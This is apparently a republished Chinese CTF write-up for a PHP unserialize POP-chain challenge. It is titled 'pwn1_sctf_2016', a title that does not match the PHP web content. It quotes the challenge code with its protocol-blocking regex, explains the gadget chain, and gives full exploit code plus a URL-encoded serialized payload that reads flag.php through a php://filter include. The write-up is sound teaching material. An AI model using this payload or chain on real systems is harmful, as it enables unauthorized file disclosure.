BUUCTF pwn1_sctf_2016解题思路

这篇具有很好参考价值的文章主要介绍了BUUCTF pwn1_sctf_2016解题思路。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

题目代码

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

前置知识

php魔术方法:

  • __call() : 在对象中调用一个不可访问方法时, __call() 会被调用
  • __toString: 将对象当作一个字符串输出的时候
  • __wakeup: 反序列化时被调用
  • __invoke: 当一个对象被作为函数调用时被调用
  • __get: 当对象访问一个不存在的属性时调用
  • __construct:创建对象时调用

序列化只会保存对象的属性对应的值

分析

这里找到危险参数 ,发现在 Modifier 对象中

public function __invoke(){
        $this->append($this->var);
    }

我们顺着这个魔术方法找哪里调用了变量函数
Test对象中

public function __get($key){
        $function = $this->p;
        return $function();
    }

再顺着这个魔术方法的调用条件找哪里访问了Test对象中没有的变量

    public function __toString(){
        return $this->str->source;
    }

我们找到了Show对象吗,只要我们将str变量设置为Test对象,那么就能触发这个利用链

再找到输出变量的地方

$this->source

在Show对象中,如果我们将source设置为Show对象,那么就等于将该对象当作字符串进行访问从而触发 __tostring方法

BUUCTF pwn1_sctf_2016解题思路,php,网络安全

EXP


<?php
class Modifier
{
    protected  $var;
    function __construct($var)
    {
        $this->var = $var;
    }
}

class Show
{
    public $source = 0;
    public $str = 0;
    
}

class Test
{
    public $p;
}

$data = "php://filter/read=convert.base64-encode/resource=flag.php";   # 最终这里被include

$m = new Modifier($data);

$t = new Test();
$t->p = $m ;

$s1 = new Show();
$s2 = new Show();

$s2->str = $t;
$s1->source = $s2;

echo urlencode(serialize($s1));

最终我们include(“php://filter/read=convert.base64-encode/resource=flag.php”)即可读取flag.php文件从而拿到flag文章来源地址https://www.toymoban.com/news/detail-650852.html

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bi%3A0%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3Bi%3A0%3B%7D

到了这里,关于BUUCTF pwn1_sctf_2016解题思路的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 网络安全ctf比赛/学习资源整理,解题工具、比赛时间、解题思路、实战靶场、学习路线,推荐收藏!...

       对于想学习或者参加CTF比赛的朋友来说,CTF工具、练习靶场必不可少,今天给大家分享自己收藏的CTF资源,希望能对各位有所帮助。 CTF在线工具 首先给大家推荐我自己常用的3个CTF在线工具网站,内容齐全,收藏备用。 1、CTF在线工具箱:http://ctf.ssleye.com/    包含CTF比赛

    2023年04月24日
    浏览(92)
  • [CTF/网络安全] 攻防世界 PHP2 解题详析

    翻译: 你能给这个网站进行身份验证吗? index.php是一个常见的文件名,通常用于Web服务器中的网站根目录下。它是默认的主页文件名,在访问一个网站时,如果没有特别指定页面文件名,则服务器会自动加载index.php文件。 在Web应用程序中,index.php文件通常是网站的入口文件

    2024年02月13日
    浏览(48)
  • 中国顶级CTF竞赛网络安全大赛--2022网鼎杯re2解题思路

    PEID查不出来,用了die,显示是UPX3.96的壳,用了脱壳机,脱不了,只能手动脱壳,拖入x64dbg,F9运行到程序领空,很明显的特征,push: 无脑使用ESP定律大法,对ESP下硬件访问断点: F9运行,在pop处停下: F4运行到下面第一个jmp,F8,进去又是一个jmp,继续F8,到达OEP: 使用x

    2023年04月22日
    浏览(46)
  • 河南省第四届”金盾信安杯”网络安全大赛writeup(过程,解题思路)

    目录 写在最最前面 Misc Misc-qianda0_Sdoku​编辑 Misc-盗梦空间 Misc-Megmi Misc-数据泄露01-账号泄露追踪 Web Web-eZphp2 Web-EzPHP Web-有来无回 Crypto Crypto-小菜一碟 Crypto-RRSSAA​编辑 Crypto-simpleR 加油各位( •̀ ω •́ )y 期待与君再相逢 本人今天也是在和病毒抗争中,打今天的 ” 金盾信安杯

    2024年02月04日
    浏览(50)
  • [CTF/网络安全] 攻防世界 fileinclude 解题详析(php伪协议)

    由于index.php在/var/www/html目录下,而flag.php与index.php同为php文件,故猜想flag.php也在该目录下。 查看页面源代码获取更多信息: 源代码中看到 @include($lan.\\\".php\\\"); ,即此处存在文件包含。 又因为 $lan = $_COOKIE[\\\'language\\\']; 因此解题思路为:利用php伪协议,构造language参数,来读取该目

    2024年02月07日
    浏览(47)
  • [CTF/网络安全] 攻防世界 php_rce 解题详析

    PHP RCE 指的是通过远程代码执行漏洞(Remote Code Execution)来攻击 PHP 程序的一种方式。简单来说,由于PHP应用程序没有正确处理外部输入数据(如用户提交的表单、请求参数等),攻击者通过某些手段向 PHP 应用程序中注入恶意代码,然后通过这些恶意代码实现对受攻击服务器

    2024年02月06日
    浏览(54)
  • [CTF/网络安全] 攻防世界 simple_php 解题详析

    题目描述:小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。 $a=@$_GET[\\\'a\\\']; 从HTTP GET请求参数中获取一个名为a的变量,并将其赋值给变量a。@符号用于禁止错误输出,如果不存在参数a则会将变量a设置为NULL。 $b=@$_GET[\\\'b\\\']; 从HTTP GET请求参数中获取一个名为b的变量,

    2024年02月13日
    浏览(48)
  • [CTF/网络安全] 攻防世界 Web_php_include 解题详析(php伪协议、data伪协议、file伪协议)

    这段代码首先通过 show_source(__FILE__) 显示当前文件的源代码,然后通过 $_GET[\\\'hello\\\'] 显示 URL 参数中名为 hello 的值。 接下来,代码使用 $_GET[\\\'page\\\'] 获取 URL 参数中名为 “page” 的值,并进行字符串替换,将 php:// 替换为空字符串 这是为了防止通过 URL 参数加载本地文件或其他可

    2024年02月08日
    浏览(48)
  • pwn打打基础——BUUCTF篇(1)

    BUUCTF刷刷基础题先,打牢下基础 就非常经典的起引导作用的nc题 格式:nc IP 端口 checksec一下 发现开启了部分地址随机化,其它保护什么也没开,有可读写权限,再来看看源代码 发现有gets()函数(并不会限制输入的字节数),也有system(\\\"/bin/sh\\\"),没有什么其它陷阱。那这就是

    2024年02月05日
    浏览(43)
  • [CTF/网络安全] 攻防世界 file_include 解题详析(php伪协议+convert转换过滤器)

    题目描述:怎么读取文件呢? 思路: 由代码审计可知,可通过filename参数构造POC,来读取check.php POC的构造涉及PHP伪协议,参考链接: 文件包含 | PHP伪协议实战 POC: 回显如下: 猜测被过滤,怎么办呢? 该题涉及到 convert转换过滤器 常见的convert转换过滤器有这两种:

    2024年02月07日
    浏览(72)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包